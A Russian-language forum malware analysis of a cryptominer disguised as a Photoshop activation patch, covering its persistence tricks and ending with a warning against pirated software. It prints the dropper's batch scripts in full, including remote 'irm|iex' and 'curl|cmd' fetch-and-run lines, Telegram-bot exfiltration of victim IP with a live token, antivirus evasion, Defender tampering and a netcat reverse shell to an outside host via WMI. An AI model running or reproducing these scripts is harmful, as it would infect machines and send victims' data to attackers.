Скрытый майнер под видом "патча" Adobe Photoshop

Переводчик Google

Ранее я не писал статей на тему разборов всяких зловредов, но случай интересный и может быть полезен другим.

Всё начинается с раздачи вирусного репака под видом adobe photoshop, типа такого
1774814478038.webp


Ну и конечно же ссылка ведёт куда-то на сторонний файлообменник с кучей рекламы (в лучшем случае). В худшем - получаем сборку со зловредом. Нам предлагается помимо основной программы установить некий патч, который должен якобы помочь с активацией фотошопа.

1774814746320.webp


Инструкция следующего содержания

1774814805809.webp



не очень понятно, почему был выбран wireguard в качестве названия, а не patch, к примеру, остаётся загадкой. Но, то что это поддельный установщик понятно и так. При этом virustotal на текущий момент не жалуется. А мы идём дальше.

1774815128338.webp


Первый этап заражения происходит через создание каталога C:\ProgramData\LP3 с расширением, которая ведёт в никуда, если открывать проводником. В ней лежит официальный компонент WinRar и архив с паролем. При этом заражение до конца не происходит до перезагрузки. Возможно баг, а возможно сделано намеренно.

1774815496535.webp


А вот уже после перезагрузки начинается самое интересное. Создаются два каталога config.. и Logdata.. с двумя точками на конце, чтобы их нельзя было открыть обычным способом. К содержимому вернёмся позже.
1774815732181.webp


Из процессов появляется второй экземпляр проводника, который переодически нагружает CPU. Файл ведёт на настоящий explorer.exe, типичный инжект вредоносного кода в память процесса. Ну и по классике, как только открыт диспетчер задач, деятельность майнера приостанавливается

1774816665522.webp


Также майнер активно противодействует запуску msconfig и regedit - моментально закрывается. В планировщике никаких подозрительных задач нет, итак как же зловред стартует

1) Создаются две службы

1774816429579.webp


Одна инициирует инжектор майнера через интерпретатор AutoIt3, а вторая запускает Install.exe

1774816568328.webp
1774816869289.webp


2) Второй вариант запуска точно также имеется в разделе Image File Execution Options, который именован подразделом MicrosoftEdgeUpdate.exe, чтобы перехватывать любой запуск обновления Edge и запускать зловред.

1774816988467.webp


Казалось бы всё понятно, раз полный путь не указан, стоит поискать install.exe где-то в System32 или в папке Windows. Но это несовсем исполняемый файл, то есть это вообще не экзешник. Это алиас (ссылка) на путь, и располагается она в реестре, именно по этой вероятно причине майнер так активно regedit закрывает. Пришлось его грохнуть на время, чтобы показать)

1774817228036.webp


Также зловред добавляет свои службы для активации в безопасном режиме, чтобы наверняка
Код:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Performance
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Update
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Performance
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Update

Из примечательного то, обе службы не отображаются в Services.msc, так как им явно через ACL запретили читать конфиг

1774817609710.webp


Что касается содержимого тех папок, CMD-шник из Install.exe в App Paths делает примерно тоже самое, что и вторая служба Update. Оба файла, что Index, что prn идентичны. Оба также имеют специальное название, чтобы нельзя было с ними взаимодействовать обычным способом. Можно только через UNC формат, как это делает CMD-шник.

1774817958219.webp


prn.ini является в свою очередь DLL, причём с валидной подписью

1774818285193.webp


Ключевой момент здесь имеет интерпретатор AutoIt3, который попросту игнорирует всё, что ему не пренадлежит и замечательно исполняет прилепленный скрипт в конец этой самой DLL, на что явно намекает сигнатура этого скрипта

1774818492558.webp


А что насчет папки Config? Там у нас валяется 3-dll и некий ShellExperienceHost.exe, который является ничем иным, как обычным Netcat, предположительно для логгирования зараженных машин владельцу.

1774818733727.webp


А запускается это чудо через подписки WMI

1774818770065.webp


На этом вся злая работа майнера заканчивается. Рассмотрим первоначальный wireguard.msi

Расковыряв его, тут мы видим в доп. свойствах некую ссылку, которая ведёт на страницу github

1774818982927.webp


Тот ведёт уже непосредственно на скрипт, который запускает первую стадию заражения.
setlocal EnableDelayedExpansion
Bash:
if exist "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\" (
    rd /s /q "%ProgramData%\VcRedist"
    exit /b
)

if exist "%ProgramData%\logdata..\Index.exe" (
    rd /s /q "%ProgramData%\VcRedist"
    exit /b
)

set "processList=ekrn.exe egui.exe spideragent.exe AvastUI.exe avgui.exe avp.exe avpui.exe UninstallTool.exe UninstallToolHelper.exe"

for %a in (%processList%) do (
    tasklist /FI "IMAGENAME eq %a" 2>NUL | find /I "%a" >NUL
    if not errorlevel 1 (
        rd /s /q "%ProgramData%\VcRedist"
        exit /b
    )
)

sc create Help binPath="cmd.exe /c powershell.exe irm https://raw[.]githubusercontent[.]com/nugp/0/0/0/rut.ps1 ^| iex" start="auto" obj="LocalSystem"
schtasks /create /RU "NT AUTHORITY\SYSTEM" /RL HIGHEST /sc minute /mo 40 /tn "\Windows\Help" /tr "cmd.exe /c curl.exe -s https://raw[.]githubusercontent[.]com/nugp/0/0/0/zenm | cmd /Q /V:ON" /F

chcp 65001 >nul
set "TOKEN=7505977903:AAHnQLk09FmwqfO48J6PVCzevuVCJpSoSdk"
set "CHAT_ID=-1003799114483"
set "IP=No IP"
set "Country=No Country"

for /f "tokens=1,2 delims=," %a in ('%WINDIR%\System32\curl.exe -s "http://ip-api.com/csv/?fields=country,query" 2^>nul') do (
    if not "%a"=="" set "Country=%a"
    if not "%b"=="" set "IP=%b"
)

%WINDIR%\System32\curl.exe -s -X POST "https://api.telegram.org/bot%TOKEN%/sendMessage" -d "chat_id=%CHAT_ID%" -d "text=RUTZENM%0AIP: %IP%%0ACountry: %Country%" 1>nul 2>nul
rename "%ProgramData%\VcRedist" "LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
endlocal

Он же содержит другие ссылки, и самый интересный как раз и выполняет всю перечисленную выше процедуру
Bash:
sc delete Help
schtasks /Delete /TN "\Windows\Help" /F

mkdir "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
dir "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\UnRAR.exe" >nul || curl.exe -s -L -o "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\UnRAR.exe" https://github.com/vltex/1/raw/1/0/UnRAR.exe
dir "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\wireguard.rar" >nul || curl.exe -s -L -o "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\wireguard.rar" https://github.com/vltex/1/raw/1/z/wireguard.rar

"%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\UnRAR.exe" x -y -o+ -p963258741 "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\wireguard.rar" "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\"

mkdir \\.\%ProgramData%\config..\
mkdir \\.\%ProgramData%\logdata..\
mkdir %WINDIR%\Setup\Scripts

copy /Y "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\Index.exe" "\\.\%ProgramData%\logdata..\"
move /Y "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\Index.exe" "\\.\%ProgramData%\logdata..\prn.exe"
move /Y "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\IconLib.dll" "\\.\%ProgramData%\logdata..\prn.ini"

move /Y "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\libssl-1_1.dll" "\\.\%ProgramData%\config..\"
move /Y "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\vcruntime140.dll" "\\.\%ProgramData%\config..\"
move /Y "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\libcrypto-1_1.dll" "\\.\%ProgramData%\config..\"
move /Y "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellExperienceHost.exe" "\\.\%ProgramData%\config..\"
rd /s /q "%ProgramData%\LP3.{20D04FE0-3AEA-1069-A2D8-08002B30309D}"

fsutil file setshortname C:\ProgramData\config..\ ""
fsutil file setshortname C:\ProgramData\logdata..\ ""

echo powershell.exe -NoProfile -Command "$u='https://t.me/s/rutmetm';$c=(iwr $u -UseBasicParsing).Content;$m=[regex]::Match($c,'property=\"og:description\" content=\"(.*?)\"');if($m.Success){$cmd=[Net.WebUtility]::HtmlDecode($m.Groups[1].Value) -replace '\','\';$null=([WMIClass]'Win32_Process').Create($cmd)}" >> "%WINDIR%\Setup\Scripts\ErrorHandler.cmd"
echo powershell.exe \\.\%ProgramData%\logdata..\Index.exe \\.\%ProgramData%\logdata..\prn.ini >> "%ProgramData%\USOShared\log.cmd"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\install.exe" /t REG_SZ /d "%ProgramData%\USOShared\log.cmd" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\setup.exe" /t REG_SZ /d "%WINDIR%\System32\oobe\Setup.exe" /f

sc create Performance binPath="%WINDIR%\System32\cmd.exe /c start install.exe" start="auto" obj="LocalSystem"
sc create Update binPath="\\.\%ProgramData%\logdata..\prn.exe \\.\%ProgramData%\logdata..\prn.ini" start="auto" obj="LocalSystem"
sc sdset "Update" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
sc sdset "Performance" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Update" /VE /T REG_SZ /F /D "Service"
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Update" /VE /T REG_SZ /F /D "Service"
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Performance" /VE /T REG_SZ /F /D "Service"
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Performance" /VE /T REG_SZ /F /D "Service"

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe" /v Debugger /t REG_SZ /d "%WINDIR%\System32\cmd.exe /c start install.exe" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f /reg:64
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f /reg:64

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="SCM", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 180 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="SCM", CommandLineTemplate="%WINDIR%\System32\cmd.exe /c start setup.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"SCM\"", Consumer="CommandLineEventConsumer.Name=\"SCM\""

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="MCS", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 200 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="MCS", CommandLineTemplate="%ProgramData%\config..\ShellExperienceHost.exe --ssl apap[.]app 4450 -e cmd.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"MCS\"", Consumer="CommandLineEventConsumer.Name=\"MCS\""

powershell.exe -NoProfile -Command "Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='SCM'; EventNamespace='root\cimv2'; QueryLanguage='WQL'; Query='SELECT * FROM __InstanceModificationEvent WITHIN 180 WHERE TargetInstance ISA ''Win32_PerfFormattedData_PerfOS_System'''} | Out-Null"
powershell.exe -NoProfile -Command "Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='SCM'; CommandLineTemplate='%WINDIR%\System32\cmd.exe /c start setup.exe'} | Out-Null"
powershell.exe -NoProfile -Command "Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter='__EventFilter.Name=\"SCM\"'; Consumer='CommandLineEventConsumer.Name=\"SCM\"'} | Out-Null"

powershell.exe -NoProfile -Command "Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='MCS'; EventNamespace='root\cimv2'; QueryLanguage='WQL'; Query='SELECT * FROM __InstanceModificationEvent WITHIN 200 WHERE TargetInstance ISA ''Win32_PerfFormattedData_PerfOS_System'''} | Out-Null"
powershell.exe -NoProfile -Command "Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='MCS'; CommandLineTemplate='%ProgramData%\config..\ShellExperienceHost.exe --ssl apap.app 4450 -e cmd.exe'} | Out-Null"
powershell.exe -NoProfile -Command "Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter='__EventFilter.Name=\"MCS\"'; Consumer='CommandLineEventConsumer.Name=\"MCS\"'} | Out-Null"

Такой вот вредонос. На компьютере простого работяги этот майнер выглядит довольно жёстко. На будущее тем, кто предпочитает качать что попало и откуда попало. Пожалуйста, не качайте всякий мусор и включайте голову)
 
Встречался пару раз.
 
Назад
Сверху Снизу